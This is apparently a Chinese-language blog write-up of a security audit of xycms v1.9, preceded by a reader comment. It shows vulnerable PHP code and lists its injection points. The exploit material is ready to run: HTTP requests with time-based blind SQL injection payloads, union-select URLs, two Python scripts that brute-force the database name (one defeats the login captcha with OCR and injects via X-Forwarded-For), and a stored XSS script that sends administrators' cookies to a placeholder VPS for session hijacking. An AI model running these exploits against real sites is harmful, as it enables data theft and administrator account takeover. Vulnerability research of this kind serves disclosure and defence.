可以告知是什么cms 我想学习一下你的文章
记一次xycms v1.9的审计,文章有写的不好的地方,大佬们轻喷。
网站目录结构
├── Conf(连接数据库的一些配置文件)
├── Libs(一些公共函数)
├── Statics(js的一些静态文件)
├── Style(css样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计的重点)
└── top.php
后台SQL注入漏洞
第一处sql注入
/system/add_book_class.php
,关键代码如下,这里没有任何的过滤
......
......
......
<?php
if($_GET["act"]==ok){
$siteinfo = array(
'title' => $_POST['title'],
'c_order' => $_POST['c_order']
);
$db->insert("****cms_book_class", $siteinfo);
//$db->close();
echo "<script language='javascript'>";
echo "alert('恭喜您,信息内容添加成功!');";
echo " location='manage_book_class.php';";
echo "</script>";
}
?>
insert函数在/Libs/Class/mysql.class.php
,内容如下,这里也并没有对插入数据库的函数进行过滤
function insert($tableName, $column = array()) {
$columnName = "";
$columnValue = "";
foreach ($column as $key => $value) {
$columnName .= $key . ",";
$columnValue .= "'" . $value . "',";
}
$columnName = substr($columnName, 0, strlen($columnName) - 1);
$columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
$sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
$this->query($sql);
}
payload:
POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/add_book_class.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1
这里title
和c_order
参数都存在sql注入
获取数据库名的exp如下:
import requests
import time
url = 'http://localhost:81/system/add_book_class.php?act=ok'
# 这里省去了登录的爬虫,因为存在验证码,ocr比较麻烦,所以登录成功后,把cookie替换一下即可
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}
def binary_search_sql(start,end,payload,length=2):
name = ''
for i in range(1,length+1):
left = start
right = end
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
start_time = time.time()
full_payload = payload.format(num1=str(i),num2=str(mid))
requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
print(full_payload)
if time.time() - start_time > 2.5:
right = mid
else:
left = mid
return name
# 这里爆破库名长度
# 5
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)
# 这里爆破库名
#
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))
第二处sql注入
/system/loginpass.php
关键代码如下
......
......
......
$login_ip=getIp();
$sql="select * from admin_user where u_name='".$m_name."' and u_pwd='".$m_pwd."'";
$result=$db->query($sql);
if(!mysql_num_rows($result)==0){
$_SESSION["m_name"] = $m_name;
$db->query("UPDATE admin_user SET login_nums=login_nums+1 where u_name='".$m_name."'");
$login_info=array(
'u_name'=>$m_name,
'login_date'=>strtotime(date('Y-m-d')),
'login_ip'=>$login_ip
);
$db->insert("admin_login_log",$login_info);
$db->close();
ok_info('***cms.php','恭喜您,登陆成功!');
}
......
......
......
getIp()
函数如下
function getIp() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else
if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else
if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return ($ip);
}
这里对ip没有做任何的过滤限制,我们可以用http头X-Forwarded-For
,对输入的ip进行控制,也就是说,loginpass.php
中的变量$login_ip
是可控的
insert
函数如下
function insert($tableName, $column = array()) {
$columnName = "";
$columnValue = "";
foreach ($column as $key => $value) {
$columnName .= $key . ",";
$columnValue .= "'" . $value . "',";
}
$columnName = substr($columnName, 0, strlen($columnName) - 1);
$columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
$sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
$this->query($sql);
}
这里对插入的数据也没有做任何限制
payload如下
POST /system/loginpass.php HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/index.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '
admin=1&password=1&checkcode=4K23
也就是说,我们只要能正确识别验证码,X-Forwarded-For
中提交盲注的内容,就可以进行sql注入
注入数据库名的exp.py
这里必须要安装pytesseract库
和tesseract
,这样的话ocr识别很快
import requests
from PIL import Image
import pytesseract
from time import time
r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'
length = ''
name = ''
# 这里获取验证码,并将原图转为灰度图像,然后再指定二值化的阈值
def code():
req = r.get(url_code)
with open('1.png', 'wb') as f:
f.write(req.content)
#新建Image对象
image = Image.open("1.png")
#进行置灰处理
image = image.convert('L')
#这个是二值化阈值
threshold = 150
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append(1)
#通过表格转换成二进制图片,1的作用是白色,不然就全部黑色了
image = image.point(table,"1")
code = pytesseract.image_to_string(image)
return code
# 这里判断数据库名长度验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_length(num2,num1=1):
payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_length.format(num1=str(num1),num2=str(num2))
print(full_payload)
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_length(num2)
# 这里判断数据库名验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_database_name(num1,num2):
payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_database_name.format(num1=str(num1),num2=str(num2))
print(full_payload)
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_database_name(num1,num2)
# 这里返回数据库名的长度
def database_length():
global length
for i in range(48,58):
payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_length.format(num1=str(i))
print(full_payload)
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
checkcode_length(str(i))
else:
if time() - start_time > 2.5:
length += chr(i)
print(length)
# 这里调用database_length()函数来获取数据库名的长度
database_length()
print(length)
# 这里返回数据库名
def database_name():
global name
payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
for i in range(1,int(length)+1):
left = 32
right = 127
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_database_name.format(num1=str(i), num2=str(mid))
print(full_payload)
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
print(full_payload)
if '验证码输入有误' in req.text:
checkcode_database_name(i, mid)
else:
if time() - start_time > 2.5:
right = mid
else:
left = mid
# 这里调用database_name()函数来获取数据库名
database_name()
print(name)
第三处sql注入
/system/hf_book.php
关键代码如下,大概在这个页面的18行左右
....
....
....
$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);
$bid=$e_rs['id'];
....
....
先猜测字段数目,11正确,12错误,说明字段数是11
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#
看回显部分,字段3和字段5存在回显
http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#
注入出数据库名
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#
小结
这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明
前台存储型xss
/add_do.php
<?php
session_start();
require 'Conf/***cms.inc.php';
require 'Libs/Function/fun.php';
if(strtolower($_POST["checkcode"])==strtolower($_SESSION["randval"])){
unset($_SESSION["randval"]);//释放session中的变量
}else{
unset($_SESSION["randval"]);
ok_info(0,"验证码输入有误!");
exit();
}
$byz=$_POST['b_yzcode'];
if($byz!==md5($yzcode)){
ok_info(0,'错误的参数!');
}
$siteinfo = array(
'type_id' => intval(trim($_POST['type_id'])),
'b_title' => injCheck($_POST['b_title']),
'b_content' => injCheck($_POST['b_content']),
'b_name' => injCheck($_POST['b_name']),
'b_tel' => injCheck($_POST['b_tel']),
'b_mail' => injCheck($_POST['b_mail']),
'b_qq' => injCheck($_POST['b_qq']),
'b_ip' => injCheck($_POST['b_ip']),
'c_date' => time()
);
$db->insert("***cms_book", $siteinfo);
$db->close();
ok_info('/index.php','恭喜你,留言提交成功!');
?>
第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞
然后我们到该页面,进行提交
这里我是用我的服务器进行监听,4.js
内容如下
var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;
然后在我自己的服务器上nc监听
然后当管理员在后台点击访问新回复的时候
然后可以打到cookie并且可以成功登录
小结
其实这里也有后台存储型xss,但是很鸡肋,就不说了